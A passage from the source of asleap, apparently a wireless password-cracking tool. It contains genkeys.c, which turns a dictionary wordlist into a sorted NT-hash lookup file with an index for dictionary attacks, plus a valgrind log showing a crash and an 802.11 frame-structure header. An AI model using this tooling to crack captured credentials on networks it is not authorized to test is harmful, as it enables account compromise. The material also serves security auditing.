| } 103 | 104 | void usage(char *message) 105 | { 106 | 107 | if (strlen(message) > 0) { 108 | printf("%s: %s\n", PROGNAME, message); 109 | } 110 | 111 | printf("Usage: %s [options]\n", PROGNAME); 112 | printf("\n" 113 | "\t-r \tInput dictionary file, one word per line\n" 114 | "\t-f \tOutput pass+hash filename\n" 115 | "\t-n \tOutput index filename\n" 116 | "\t-h \tLast 2 hash bytes to filter with (optional)\n" "\n"); 117 | } 118 | 119 | int main(int argc, char *argv[]) 120 | { 121 | 122 | char password[MAX_NT_PASSWORD + 1]; 123 | unsigned char pwhash[MD4_SIGNATURE_SIZE]; 124 | int passlen, getnextret, c; 125 | off_t recoffset; 126 | float elapsed = 0; 127 | unsigned long int wordcount = 0; 128 | struct timeval start, end; 129 | FILE *inputfl, *outputfl, *outputidx; 130 | struct hashpass_rec rec, tmprec; 131 | struct hashpassidx_rec idxrec; 132 | char wordlist[1025], datafile[1025], indexfile[1025]; 133 | 134 | char bucketfile[255]; 135 | unsigned int hsub = 0, brecsub = 0, bucketrecords; 136 | struct hashbucket_rec hbucket[256]; 137 | struct hashpass_rec *brec; 138 | 139 | printf("genkeys %s - generates lookup file for asleap. " 140 | "\n", VER); 141 | 142 | while ((c = getopt(argc, argv, "r:f:n:h:")) != EOF) { 143 | switch (c) { 144 | case 'r': 145 | strncpy(wordlist, optarg, sizeof(wordlist) - 1); 146 | break; 147 | case 'f': 148 | strncpy(datafile, optarg, sizeof(datafile) - 1); 149 | break; 150 | case 'n': 151 | strncpy(indexfile, optarg, sizeof(indexfile) - 1); 152 | break; 153 | default: 154 | usage(""); 155 | exit(1); 156 | } 157 | } 158 | 159 | if (IsBlank(wordlist) || IsBlank(datafile) || IsBlank(indexfile)) { 160 | usage("Must supply -r -f and -n"); 161 | exit(1); 162 | } 163 | 164 | if (*wordlist == '-') { 165 | printf("Using STDIN for words.\n"); 166 | inputfl = stdin; 167 | } else { 168 | if ((inputfl = fopen(wordlist, "rb")) == NULL) { 169 | perror("fopen"); 170 | exit(1); 171 | } 172 | } 173 | 174 | if ((outputfl = fopen(datafile, "wb")) == NULL) { 175 | perror("fopen"); 176 | fclose(outputfl); 177 | exit(1); 178 | } 179 | 180 | if ((outputidx = fopen(indexfile, "wb")) == NULL) { 181 | perror("fopen"); 182 | fclose(outputfl); 183 | exit(1); 184 | } 185 | 186 | /* Create the appropriate buckets for the output files to be used for 187 | sorting the pass+hash file */ 188 | 189 | memset(hbucket, 0, sizeof(hbucket)); 190 | memset(bucketfile, 0, sizeof(bucketfile)); 191 | 192 | printf("Generating hashes for passwords (this may take some time) ..."); 193 | fflush(stdout); 194 | 195 | gettimeofday(&start, 0); 196 | 197 | /* create the bucket files */ 198 | for (hsub = 0; hsub < 256; hsub++) { 199 | sprintf(bucketfile, "genk-bucket-%02x.tmp", hsub); 200 | if ((hbucket[hsub].sbucket = fopen(bucketfile, "wb")) == NULL) { 201 | /* Crap, now we have to back-track to close everything we opened */ 202 | closebuckets(hbucket, hsub); 203 | fprintf(stderr, "Error creating bucket files. "); 204 | perror("fopen"); 205 | exit(1); 206 | } 207 | } 208 | 209 | while (!feof(inputfl)) { 210 | 211 | fgets(password, MAX_NT_PASSWORD + 1, inputfl); 212 | /* Remove newline */ 213 | password[strlen(password) - 1] = 0; 214 | 215 | /* Code to accommodate Windows-formatted dictionary files on Linux. 216 | Thanks ocnarfid8/#kismet. 217 | */ 218 | if (password[strlen(password) - 1] == 0x0d) { 219 | password[strlen(password) - 1] = 0; 220 | } 221 | 222 | #ifndef _OPENSSL_MD4 223 | /* md4.c seems to have a problem with passwords longer than 31 bytes. 224 | This seems odd to me, but it should have little impact on our 225 | final product, since I assume there are few passwords we will be 226 | able to identify with a dictionary attack that are longer than 31 227 | bytes. */ 228 | password[31] = 0; 229 | #endif 230 | 231 | NtPasswordHash(password, strlen(password), pwhash); 232 | 233 | memcpy(rec.hash, pwhash, sizeof(rec.hash)); 234 | rec.rec_size = (strlen(password) + sizeof(rec.hash) 235 | + sizeof(rec.rec_size)); 236 | 237 | /* Write the output record to the correct bucket, depending on byte 238 | 14 of the hash value. */ 239 | hsub = rec.hash[14]; 240 | fwrite(&rec.rec_size, sizeof(rec.rec_size), 1, 241 | hbucket[hsub].sbucket); 242 | fwrite(password, strlen(password), 1, hbucket[hsub].sbucket); 243 | fwrite(&rec.hash, sizeof(rec.hash), 1, hbucket[hsub].sbucket); 244 | 245 | hbucket[hsub].numrec++; 246 | wordcount++; 247 | } 248 | 249 | /* Flush all buffers before closing -- I don't think this is really 250 | necessary, but it's kind of a belt-and-suspenders thing. No one ever 251 | said I was a snappy dresser. */ 252 | fflush(NULL); 253 | fclose(inputfl); 254 | 255 | /* Close and reopen all the buckets (they were in "w" mode) */ 256 | 257 | for (hsub = 0; hsub < 256; hsub++) { 258 | sprintf(bucketfile, "genk-bucket-%02x.tmp", hsub); 259 | fclose(hbucket[hsub].sbucket); 260 | if ((hbucket[hsub].sbucket = fopen(bucketfile, "rb")) == NULL) { 261 | closebuckets(hbucket, hsub); 262 | fprintf(stderr, "Error re-opening bucket files."); 263 | perror("fopen"); 264 | exit(1); 265 | } 266 | } 267 | 268 | printf("Done.\n"); 269 | 270 | /* Report stats on writing hashes */ 271 | gettimeofday(&end, 0); 272 | 273 | /* Borrowed from Tim Newsham's wep_crack.c -- thanks Tim */ 274 | if (end.tv_usec < start.tv_usec) { 275 | end.tv_sec -= 1; 276 | end.tv_usec += 1000000; 277 | } 278 | end.tv_sec -= start.tv_sec; 279 | end.tv_usec -= start.tv_usec; 280 | elapsed = end.tv_sec + end.tv_usec / 1000000.0; 281 | 282 | printf("%lu hashes written in %.2f seconds: %.2f hashes/second\n", 283 | wordcount, elapsed, wordcount / elapsed); 284 | 285 | printf("Starting sort (be patient) ..."); 286 | fflush(stdout); 287 | 288 | hsub = 0; 289 | while (hsub < 256) { 290 | sprintf(bucketfile, "genk-bucket-%02x.tmp", hsub); 291 | 292 | /* If there are no records in the bucket, unlink */ 293 | if (hbucket[hsub].numrec == 0) { 294 | /* Bucket is empty, get rid if it */ 295 | fclose(hbucket[hsub].sbucket); 296 | hbucket[hsub].sbucket = NULL; 297 | unlink(bucketfile); 298 | hsub++; 299 | continue; 300 | } 301 | 302 | /* 303 | * With all our buckets created, clean up and then sort each bucket. After 304 | * Sorting the bucket, write the output file to the outputfl handle for one 305 | * big file. 306 | */ 307 | 308 | /* malloc() enough space in memory for each record that we have to 309 | load into memory for sorting */ 310 | if ((brec = calloc(hbucket[hsub].numrec, sizeof(rec))) == NULL) { 311 | fprintf(stderr, 312 | "Unable to allocate %ld bytes of memory. ", 313 | (hbucket[hsub].numrec * sizeof(rec))); 314 | closebuckets(hbucket, 256); 315 | perror("malloc"); 316 | exit(-1); 317 | } 318 | 319 | bucketrecords = hbucket[hsub].numrec; 320 | for (brecsub = 0; brecsub < bucketrecords; brecsub++) { 321 | 322 | /* Get 1 byte for the record length */ 323 | if (fread(&brec[brecsub].rec_size, 1, 1, 324 | hbucket[hsub].sbucket) != 1) { 325 | fprintf(stderr, 326 | "Unable to read from bucket %02x. ", 327 | hsub); 328 | perror("fread"); 329 | closebuckets(hbucket, 256); 330 | exit(-1); 331 | } 332 | 333 | /* Calculate password length - 17 is hash+rec length byte */ 334 | passlen = (brec[brecsub].rec_size - 17); 335 | 336 | /* malloc() memory for this password based on password length */ 337 | if ((brec[brecsub].password = 338 | malloc(passlen + 1)) == NULL) { 339 | fprintf(stderr, 340 | "Cannot allocate %d bytes of memory. ", 341 | (passlen + 1)); 342 | perror("malloc"); 343 | closebuckets(hbucket, 256); 344 | exit(-1); 345 | } 346 | memset(brec[brecsub].password, 0, passlen + 1); 347 | 348 | /* Populate the password field with the next parameter in the 349 | record */ 350 | fread(brec[brecsub].password, passlen, 1, 351 | hbucket[hsub].sbucket); 352 | 353 | /* Populate the hash field with the final parameter in the record */ 354 | fread(brec[brecsub].hash, 16, 1, hbucket[hsub].sbucket); 355 | } 356 | 357 | /* sort this bucket */ 358 | qsort(brec, hbucket[hsub].numrec, sizeof(rec), compfunc); 359 | 360 | /* Write the sorted records to the outputfl handle */ 361 | for (brecsub = 0; brecsub < bucketrecords; brecsub++) { 362 | passlen = brec[brecsub].rec_size - 17; 363 | fwrite(&brec[brecsub].rec_size, sizeof(rec.rec_size), 1, 364 | outputfl); 365 | fwrite(brec[brecsub].password, passlen, 1, outputfl); 366 | fwrite(brec[brecsub].hash, sizeof(rec.hash), 1, 367 | outputfl); 368 | free(brec[brecsub].password); 369 | } 370 | 371 | /* Get rid of the bucket */ 372 | fclose(hbucket[hsub].sbucket); 373 | sprintf(bucketfile, "genk-bucket-%02x.tmp", hsub); 374 | remove(bucketfile); 375 | free(brec); 376 | 377 | hsub++; 378 | 379 | } 380 | 381 | fflush(outputfl); 382 | fclose(outputfl); 383 | 384 | printf("Done.\nCompleted sort in %llu compares.\n", sortcount); 385 | printf("Creating index file (almost finished) ..."); 386 | fflush(stdout); 387 | 388 | /* Re-open output file "r" */ 389 | if ((outputfl = fopen(datafile, "rb")) == NULL) { 390 | perror("fopen"); 391 | fclose(outputfl); 392 | exit(1); 393 | } 394 | 395 | /* Create the index file - populate an initial record, then keep reading 396 | * through the file. When the last 2 bytes of the hash change, write the 397 | * index record to the index file and keep reading records until EOF. 398 | */ 399 | 400 | recoffset = 0; 401 | getnextret = 0; 402 | 403 | /* Populate the initial index record from the outputfl */ 404 | if ((getnextret = getnextrec(&tmprec, outputfl, 0)) < 0) { 405 | perror("getnextrec"); 406 | exit(-1); 407 | } 408 | 409 | memset(&idxrec, 0, sizeof(idxrec)); 410 | memset(&rec, 0, sizeof(rec)); 411 | 412 | /* Update the offset of the record, this is always 0 for the first record */ 413 | recoffset = recoffset + getnextret; 414 | 415 | idxrec.hashkey[0] = tmprec.hash[14]; 416 | idxrec.hashkey[1] = tmprec.hash[15]; 417 | idxrec.offset = 0; 418 | idxrec.numrec = 1; 419 | 420 | while (!feof(outputfl)) { 421 | 422 | if ((getnextret = getnextrec(&rec, outputfl, 0)) < 0) { 423 | perror("getnextrec"); 424 | exit(-1); 425 | } 426 | recoffset = recoffset + getnextret; 427 | 428 | if (idxrec.hashkey[0] != rec.hash[14] || 429 | idxrec.hashkey[1] != rec.hash[15]) { 430 | 431 | /* Finished reading records for this hash key value. Write the 432 | index record and populate the next index record. */ 433 | if (fwrite(&idxrec, sizeof(idxrec), 1, outputidx) != 1) { 434 | perror("Error writing index record"); 435 | fclose(outputfl); 436 | fclose(outputidx); 437 | } 438 | // fflush(outputidx); 439 | /* 440 | printf("DEBUG index record:\n"); 441 | printf("idxrec.hashkey = %02x%02x\n", idxrec.hashkey[0], idxrec.hashkey[1]); 442 | printf("idxrec.offset = %llu\n", idxrec.offset); 443 | printf("idxrec.numrec = %llu\n", idxrec.numrec); 444 | printf("========================================================\n"); 445 | */ 446 | 447 | /* Initialize struct for the next index entry set */ 448 | memset(&idxrec, 0, sizeof(idxrec)); 449 | 450 | /* Populate the next hash reference and offset */ 451 | idxrec.hashkey[0] = rec.hash[14]; 452 | idxrec.hashkey[1] = rec.hash[15]; 453 | idxrec.offset = recoffset - getnextret; 454 | idxrec.numrec = 1; 455 | continue; 456 | 457 | } else { 458 | /* Got another record with the same hash value, increment count */ 459 | idxrec.numrec++; 460 | continue; 461 | } 462 | } 463 | 464 | /* Write the final index record */ 465 | if (fwrite(&idxrec, sizeof(idxrec), 1, outputidx) != 1) { 466 | perror("Error writing final index record"); 467 | fclose(outputfl); 468 | fclose(outputidx); 469 | exit(-1); 470 | } 471 | 472 | fclose(outputfl); 473 | fclose(outputidx); 474 | 475 | printf("Done.\n"); 476 | fflush(stdout); 477 | 478 | exit(0); 479 | 480 | } 481 | -------------------------------------------------------------------------------- /genkeys.val: -------------------------------------------------------------------------------- 1 | ==11449== Memcheck, a memory error detector. 2 | ==11449== Copyright (C) 2002-2006, and GNU GPL'd, by Julian Seward et al. 3 | ==11449== Using LibVEX rev 1658, a library for dynamic binary translation. 4 | ==11449== Copyright (C) 2004-2006, and GNU GPL'd, by OpenWorks LLP. 5 | ==11449== Using valgrind-3.2.1, a dynamic binary instrumentation framework. 6 | ==11449== Copyright (C) 2000-2006, and GNU GPL'd, by Julian Seward et al. 7 | ==11449== 8 | --11449-- Command line 9 | --11449-- ./genkeys 10 | --11449-- -r 11 | --11449-- dict 12 | --11449-- -f 13 | --11449-- out.dat 14 | --11449-- -n 15 | --11449-- out.idx 16 | --11449-- Startup, with flags: 17 | --11449-- -v 18 | --11449-- --show-reachable=yes 19 | --11449-- Contents of /proc/version: 20 | --11449-- Linux version 2.6.19.1 (root@thallium) (gcc version 4.1.1 (Gentoo 4.1.1-r3)) #2 SMP Tue Apr 3 00:18:31 EDT 2007 21 | --11449-- Arch and hwcaps: X86, x86-sse1-sse2 22 | --11449-- Valgrind library directory: /usr/lib/valgrind 23 | --11449-- Reading syms from /lib/ld-2.3.6.so (0x4000000) 24 | --11449-- Reading syms from /home/jwright/asleap/genkeys (0x8048000) 25 | --11449-- Reading syms from /usr/lib/valgrind/x86-linux/memcheck (0x38000000) 26 | --11449-- object doesn't have a symbol table 27 | --11449-- object doesn't have a dynamic symbol table 28 | --11449-- Reading suppressions file: /usr/lib/valgrind/default.supp 29 | --11449-- REDIR: 0x4010DE0 (index) redirected to 0x380269E7 (???) 30 | --11449-- Reading syms from /usr/lib/valgrind/x86-linux/vgpreload_core.so (0x4017000) 31 | --11449-- object doesn't have a symbol table 32 | --11449-- Reading syms from /usr/lib/valgrind/x86-linux/vgpreload_memcheck.so (0x401A000) 33 | --11449-- object doesn't have a symbol table 34 | ==11449== WARNING: new redirection conflicts with existing -- ignoring it 35 | --11449-- new: 0x04010DE0 (index ) R-> 0x0401D0DB index 36 | --11449-- Reading syms from /usr/lib/libpcap.so.0.9 (0x4034000) 37 | --11449-- object doesn't have a symbol table 38 | --11449-- Reading syms from /lib/libcrypt-2.3.6.so (0x405A000) 39 | --11449-- object doesn't have a symbol table 40 | --11449-- Reading syms from /usr/lib/libcrypto.so.0.9.8 (0x4088000) 41 | --11449-- object doesn't have a symbol table 42 | --11449-- Reading syms from /lib/libc-2.3.6.so (0x41B4000) 43 | --11449-- object doesn't have a symbol table 44 | --11449-- Reading syms from /lib/libdl-2.3.6.so (0x42C3000) 45 | --11449-- object doesn't have a symbol table 46 | --11449-- REDIR: 0x42190E0 (rindex) redirected to 0x401CFF7 (rindex) 47 | --11449-- REDIR: 0x4218F48 (strncmp) redirected to 0x401D2A9 (strncmp) 48 | --11449-- REDIR: 0x42186C0 (index) redirected to 0x401D0B6 (index) 49 | --11449-- REDIR: 0x4219034 (strncpy) redirected to 0x401DCF0 (strncpy) 50 | --11449-- REDIR: 0x4215EE5 (malloc) redirected to 0x401C3C5 (malloc) 51 | --11449-- REDIR: 0x4219F30 (memset) redirected to 0x401D509 (memset) 52 | genkeys 2.0 - generates lookup file for asleap. 53 | Generating hashes for passwords (this may take some time) ...--11449-- REDIR: 0x4219A30 (memchr) redirected to 0x401D41A (memchr) 54 | --11449-- REDIR: 0x421A3D0 (memcpy) redirected to 0x401DB7A (memcpy) 55 | --11449-- REDIR: 0x4214053 (free) redirected to 0x401BF97 (free) 56 | Done. 57 | 14267876 hashes written in 2089.54 seconds: 6828.24 hashes/second 58 | Starting sort (be patient) ...--11449-- REDIR: 0x4216E34 (calloc) redirected to 0x401B686 (calloc) 59 | --11449-- REDIR: 0x421ABE0 (rawmemchr) redirected to 0x401D5B4 (rawmemchr) 60 | --11449-- REDIR: 0x421A0F0 (stpcpy) redirected to 0x401D858 (stpcpy) 61 | Done. 62 | Completed sort in 206994907 compares. 63 | Creating index file (almost finished) ...==11449== Jump to the invalid address stated on the next line 64 | ==11449== at 0x82D2D2D: ??? 65 | ==11449== Address 0x82D2D2D is not stack'd, malloc'd or (recently) free'd 66 | ==11449== 67 | ==11449== Process terminating with default action of signal 11 (SIGSEGV) 68 | ==11449== Bad permissions for mapped region at address 0x82D2D2D 69 | ==11449== at 0x82D2D2D: ??? 70 | ==11449== 71 | ==11449== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 7 from 1) 72 | ==11449== 73 | ==11449== 1 errors in context 1 of 1: 74 | ==11449== Jump to the invalid address stated on the next line 75 | ==11449== at 0x82D2D2D: ??? 76 | ==11449== Address 0x82D2D2D is not stack'd, malloc'd or (recently) free'd 77 | --11449-- 78 | --11449-- supp: 7 Ubuntu-stripped-ld.so 79 | ==11449== 80 | ==11449== IN SUMMARY: 1 errors from 1 contexts (suppressed: 7 from 1) 81 | ==11449== 82 | ==11449== malloc/free: in use at exit: 728 bytes in 2 blocks. 83 | ==11449== malloc/free: 14,268,907 allocs, 14,268,905 frees, 736,778,230 bytes allocated. 84 | ==11449== 85 | ==11449== searching for pointers to 2 not-freed blocks. 86 | ==11449== checked 345,776 bytes. 87 | ==11449== 88 | ==11449== LEAK SUMMARY: 89 | ==11449== definitely lost: 0 bytes in 0 blocks. 90 | ==11449== possibly lost: 0 bytes in 0 blocks. 91 | ==11449== still reachable: 728 bytes in 2 blocks. 92 | ==11449== suppressed: 0 bytes in 0 blocks. 93 | --11449-- memcheck: sanity checks: 194959 cheap, 7799 expensive 94 | --11449-- memcheck: auxmaps: 0 auxmap entries (0k, 0M) in use 95 | --11449-- memcheck: auxmaps: 0 searches, 0 comparisons 96 | --11449-- memcheck: SMs: n_issued = 9498 (151968k, 148M) 97 | --11449-- memcheck: SMs: n_deissued = 9258 (148128k, 144M) 98 | --11449-- memcheck: SMs: max_noaccess = 65535 (1048560k, 1023M) 99 | --11449-- memcheck: SMs: max_undefined = 17 (272k, 0M) 100 | --11449-- memcheck: SMs: max_defined = 55 (880k, 0M) 101 | --11449-- memcheck: SMs: max_non_DSM = 292 (4672k, 4M) 102 | --11449-- memcheck: max sec V bit nodes: 1 (0k, 0M) 103 | --11449-- memcheck: set_sec_vbits8 calls: 1 (new: 1, updates: 0) 104 | --11449-- memcheck: max shadow mem size: 4976k, 4M 105 | --11449-- translate: fast SP updates identified: 3,178 ( 91.8%) 106 | --11449-- translate: generic_known SP updates identified: 214 ( 6.1%) 107 | --11449-- translate: generic_unknown SP updates identified: 67 ( 1.9%) 108 | --11449-- tt/tc: 7,826 tt lookups requiring 7,951 probes 109 | --11449-- tt/tc: 7,825 fast-cache updates, 2 flushes 110 | --11449-- transtab: new 2,856 (65,166 -> 1,106,293; ratio 169:10) [0 scs] 111 | --11449-- transtab: dumped 0 (0 -> ??) 112 | --11449-- transtab: discarded 0 (0 -> ??) 113 | --11449-- scheduler: 19,495,988,383 jumps (bb entries). 114 | --11449-- scheduler: 194,959/29,083,611 major/minor sched events. 115 | --11449-- sanity: 194960 cheap, 7799 expensive checks. 116 | --11449-- exectx: 30,011 lists, 30 contexts (avg 0 per list) 117 | --11449-- exectx: 28,537,820 searches, 28,537,790 full compares (999 per 1000) 118 | --11449-- exectx: 0 cmp2, 21 cmp4, 0 cmpAll 119 | -------------------------------------------------------------------------------- /ieee80211.h: -------------------------------------------------------------------------------- 1 | /* Copyright 2006 Aruba Networks */ 2 | 3 | #ifndef IEEE80211_H 4 | #define IEEE80211_H 5 | 6 | #define DOT11HDR_A1_LEN 10 7 | #define DOT11HDR_A3_LEN 24 8 | #define DOT11HDR_A4_LEN 30 9 | #define DOT11HDR_MAC_LEN 6 10 | #define DOT11HDR_MINLEN DOT11HDR_A1_LEN 11 | 12 | #define DOT11_FC_TYPE_MGMT 0 13 | #define DOT11_FC_TYPE_CTRL 1 14 | #define DOT11_FC_TYPE_DATA 2 15 | 16 | #define DOT11_FC_SUBTYPE_ASSOCREQ 0 17 | #define DOT11_FC_SUBTYPE_ASSOCRESP 1 18 | #define DOT11_FC_SUBTYPE_REASSOCREQ 2 19 | #define DOT11_FC_SUBTYPE_REASSOCRESP 3 20 | #define DOT11_FC_SUBTYPE_PROBEREQ 4 21 | #define DOT11_FC_SUBTYPE_PROBERESP 5 22 | #define DOT11_FC_SUBTYPE_BEACON 8 23 | #define DOT11_FC_SUBTYPE_ATIM 9 24 | #define DOT11_FC_SUBTYPE_DISASSOC 10 25 | #define DOT11_FC_SUBTYPE_AUTH 11 26 | #define DOT11_FC_SUBTYPE_DEAUTH 12 27 | 28 | #define DOT11_FC_SUBTYPE_PSPOLL 10 29 | #define DOT11_FC_SUBTYPE_RTS 11 30 | #define DOT11_FC_SUBTYPE_CTS 12 31 | #define DOT11_FC_SUBTYPE_ACK 13 32 | #define DOT11_FC_SUBTYPE_CFEND 14 33 | #define DOT11_FC_SUBTYPE_CFENDACK 15 34 | 35 | #define DOT11_FC_SUBTYPE_DATA 0 36 | #define DOT11_FC_SUBTYPE_DATACFACK 1 37 | #define DOT11_FC_SUBTYPE_DATACFPOLL 2 38 | #define DOT11_FC_SUBTYPE_DATACFACKPOLL 3 39 | #define DOT11_FC_SUBTYPE_DATANULL 4 40 | #define DOT11_FC_SUBTYPE_CFACK 5 41 | #define DOT11_FC_SUBTYPE_CFACKPOLL 6 42 | #define DOT11_FC_SUBTYPE_CFACKPOLLNODATA 7 43 | #define DOT11_FC_SUBTYPE_QOSDATA 8 44 | /* 9 - 11 reserved as of 11/7/2005 - JWRIGHT */ 45 | #define DOT11_FC_SUBTYPE_QOSNULL 12 46 | 47 | /* Fixed parameter length values for mgmt frames */ 48 | #define DOT11_MGMT_BEACON_FIXEDLEN 12 49 | #define DOT11_MGMT_ASSOCREQ_FIXEDLEN 4 50 | #define DOT11_MGMT_ASSOCRESP_FIXEDLEN 6 51 | #define DOT11_MGMT_AUTH_FIXEDLEN 6 52 | 53 | /* Authentication algorithm values */ 54 | #define DOT11_MGMT_AUTHALGO_SHARED 1 55 | #define DOT11_MGMT_AUTHALGO_OPEN 0 56 | 57 | /* Information element identifiers */ 58 | #define DOT11_IE_SSIDSET 0 59 | #define DOT11_IE_DSPARAMSET 3 60 | #define DOT11_IE_RSN 48 61 | #define DOT11_IE_WPA 221 62 | 63 | /* IE Cipher suite mechanisms for RSN/WPA */ 64 | #define DOT11_RSN_CIPHER_GROUP 0 /* Use the group cipher for unicast */ 65 | #define DOT11_RSN_CIPHER_WEP40 1 /* WEP-40 */ 66 | #define DOT11_RSN_CIPHER_TKIP 2 /* TKIP */ 67 | #define DOT11_RSN_CIPHER_RSVD 3 /* Reserved */ 68 | #define DOT11_RSN_CIPHER_CCMP 4 /* CCMP */ 69 | #define DOT11_RSN_CIPHER_WEP104 5 /* WEP-104 */ 70 | 71 | /* IE Authentication suite mechanksms for RSN/WPA */ 72 | #define DOT11_RSN_AUTH_PMKDER 1 /* Key derived from PMK via 802.1x or 73 | key caching mechanism. */ 74 | #define DOT11_RSN_AUTH_PSK 2 /* Key derived from PSK */ 75 | 76 | /* RSN/WPA element constants */ 77 | #define DOT11_RSN_IE_VERSION 1 78 | #define DOT11_RSN_OUI "\x00\x0f\xac" 79 | #define DOT11_RSN_OUI_LEN 3 80 | #define DOT11_WPA_IE_VERSION 1 81 | #define DOT11_WPA_TAG "\x00\x50\xf2\x01" 82 | #define DOT11_WPA_TAG_LEN 4 83 | #define DOT11_WPA_OUI "\x00\x50\xf2" 84 | #define DOT11_WPA_OUI_LEN 3 85 | 86 | 87 | /* Authentication identifiers */ 88 | #define DOT11_PREVAUTH_INVALID 2 89 | 90 | struct dot11hdr { 91 | union { 92 | struct { 93 | uint8_t version:2; 94 | uint8_t type:2; 95 | uint8_t subtype:4; 96 | uint8_t to_ds:1; 97 | uint8_t from_ds:1; 98 | uint8_t more_frag:1; 99 | uint8_t retry:1; 100 | uint8_t pwrmgmt:1; 101 | uint8_t more_data:1; 102 | uint8_t protected:1; 103 | uint8_t order:1; 104 | } __attribute__ ((packed)) fc; 105 | 106 | uint16_t fchdr; 107 | } u1; 108 | 109 | uint16_t duration; 110 | uint8_t addr1[6]; 111 | uint8_t addr2[6]; 112 | uint8_t addr3[6]; 113 | 114 | union { 115 | struct { 116 | uint16_t fragment:4; 117 | uint16_t sequence:12; 118 | } __attribute__ ((packed)) seq; 119 | 120 | uint16_t seqhdr; 121 | } u2; 122 | 123 | } __attribute__ ((packed)); 124 | 125 | #define dot11hdra3 dot11hdr 126 | #define ieee80211 dot11hdr 127 | 128 | struct dot11hdr_a1 { 129 | union { 130 | struct { 131 | uint8_t version:2; 132 | uint8_t type:2; 133 | uint8_t subtype:4; 134 | uint8_t to_ds:1; 135 | uint8_t from_ds:1; 136 | uint8_t more_frag:1; 137 | uint8_t retry:1; 138 | uint8_t pwrmgmt:1; 139 | uint8_t more_data:1; 140 | uint8_t protected:1; 141 | uint8_t order:1; 142 | } __attribute__ ((packed)) fc; 143 | 144 | uint16_t fchdr; 145 | } u1; 146 | 147 | uint16_t duration; 148 | uint8_t addr1[6]; 149 | } __attribute__ ((packed)); 150 | 151 | struct dot11hdr_a4 { 152 | union { 153 | struct { 154 | uint8_t version:2; 155 | uint8_t type:2; 156 | uint8_t subtype:4; 157 | uint8_t to_ds:1; 158 | uint8_t from_ds:1; 159 | uint8_t more_frag:1; 160 | uint8_t retry:1; 161 | uint8_t pwrmgmt:1; 162 | uint8_t more_data:1; 163 | uint8_t protected:1; 164 | uint8_t order:1; 165 | } __attribute__ ((packed)) fc; 166 | 167 | uint16_t fchdr; 168 | } u1; 169 | 170 | uint16_t duration; 171 | uint8_t addr1[6]; 172 | uint8_t addr2[6]; 173 | uint8_t addr3[6]; 174 | 175 | union { 176 | struct { 177 | uint16_t fragment:4; 178 | uint16_t sequence:12; 179 | } __attribute__ ((packed)) seq; 180 | 181 | uint16_t seqhdr; 182 | } u2; 183 | 184 | uint8_t addr4[6]; 185 | 186 | } __attribute__ ((packed)); 187 | 188 | struct dot11_mgmt { 189 | union { 190 | struct { 191 | uint16_t auth_algo; 192 | uint16_t auth_transaction; 193 | uint16_t status_code; 194 | /* possibly followed by Challenge text */ 195 | uint8_t variable[0]; 196 | } __attribute__ ((packed)) auth; 197 | struct { 198 | uint16_t reason_code; 199 | } __attribute__ ((packed)) deauth; 200 | struct { 201 | uint16_t capab_info; 202 | uint16_t listen_interval; 203 | /* followed by SSID and Supported rates */ 204 | uint8_t variable[0]; 205 | } __attribute__ ((packed)) assoc_req; 206 | struct { 207 | uint16_t capab_info; 208 | uint16_t status_code; 209 | uint16_t aid; 210 | /* followed by Supported rates */ 211 | uint8_t variable[0]; 212 | } __attribute__ ((packed)) assoc_resp, reassoc_resp; 213 | struct { 214 | uint16_t capab_info; 215 | uint16_t listen_interval; 216 | uint8_t current_ap[6]; 217 | /* followed by SSID and Supported rates */ 218 | uint8_t variable[0]; 219 | } __attribute__ ((packed)) reassoc_req; 220 | struct { 221 | uint16_t reason_code; 222 | } __attribute__ ((packed)) disassoc; 223 | struct { 224 | uint8_t variable[0]; 225 | } __attribute__ ((packed)) probe_req; 226 | struct { 227 | uint8_t timestamp[8]; 228 | uint16_t beacon_int; 229 | uint16_t capab_info; 230 | /* followed by some of SSID, Supported rates, 231 | * FH Params, DS Params, CF Params, IBSS Params, TIM */ 232 | uint8_t variable[0]; 233 | } __attribute__ ((packed)) beacon; 234 | } u; 235 | } __attribute__ ((packed)); 236 | 237 | /* IEEE 802.11 fixed parameters */ 238 | struct ieee80211_beacon_fixparm { 239 | uint8_t timestamp[8]; 240 | uint16_t beaconinterval; 241 | uint16_t capability; 242 | } __attribute__ ((packed)); 243 | 244 | struct ieee80211_qos { 245 | uint8_t priority:3; 246 | uint8_t reserved3:1; 247 | uint8_t eosp:1; 248 | uint8_t ackpol:2; 249 | uint8_t reserved1:1; 250 | uint8_t reserved2; 251 | } __attribute__ ((packed)); 252 | #define DOT11HDR_QOS_LEN 2 253 | 254 | struct ieee80211_wep { 255 | uint8_t iv[3]; 256 | 257 | union { 258 | uint8_t indexhdr; 259 | 260 | struct { 261 | uint8_t reserved:6; 262 | uint8_t keyid:2; 263 | } __attribute__ ((packed)) index; 264 | } u1; 265 | } __attribute__ ((packed)); 266 | 267 | struct ieee80211_tkip { 268 | union { 269 | struct { 270 | uint8_t tsc1; 271 | uint8_t wepseed; 272 | uint8_t tsc0; 273 | uint8_t reserved1:5; 274 | uint8_t extiv:1; 275 | uint8_t keyid:2; 276 | } __attribute__ ((packed)) iv; 277 | 278 | uint8_t ivhdr; 279 | } u1; 280 | 281 | union { 282 | struct { 283 | uint8_t tsc2; 284 | uint8_t tsc3; 285 | uint8_t tsc4; 286 | uint8_t tsc5; 287 | } extiv; 288 | 289 | uint8_t extivhdr; 290 | } u2; 291 | 292 | } __attribute__ ((packed)); 293 | 294 | struct ieee80211_ccmp { 295 | union { 296 | struct { 297 | uint8_t pn0; 298 | uint8_t pn1; 299 | uint8_t reserved1; 300 | uint8_t reserved2:5; 301 | uint8_t extiv:1; 302 | uint8_t keyid:2; 303 | } __attribute__ ((packed)) iv; 304 | 305 | uint8_t ivhdr; 306 | } u1; 307 | 308 | union { 309 | struct { 310 | uint8_t pn2; 311 | uint8_t pn3; 312 | uint8_t pn4; 313 | uint8_t pn5; 314 | } extiv; 315 | 316 | uint8_t extivhdr[4]; 317 | } u2; 318 | 319 | } __attribute__ ((packed)); 320 | 321 | struct ieee8022 { 322 | uint8_t dsap; 323 | uint8_t ssap; 324 | uint8_t control; 325 | uint8_t oui[3]; 326 | uint16_t type; 327 | } __attribute__ ((packed)); 328 | #define DOT2HDR_LEN sizeof(struct ieee8022) 329 | 330 | #define IEEE8022_SNAP 0xaa 331 | #define IEEE8022_TYPE_IP 0x0800 332 | #define IEEE8022_TYPE_DOT1X 0x888e 333 | #define IEEE8022_TYPE_ARP 0x0806 334 | 335 | 336 | #endif 337 | -------------------------------------------------------------------------------- /ieee8021x.h: -------------------------------------------------------------------------------- 1 | /* Copyright 2006 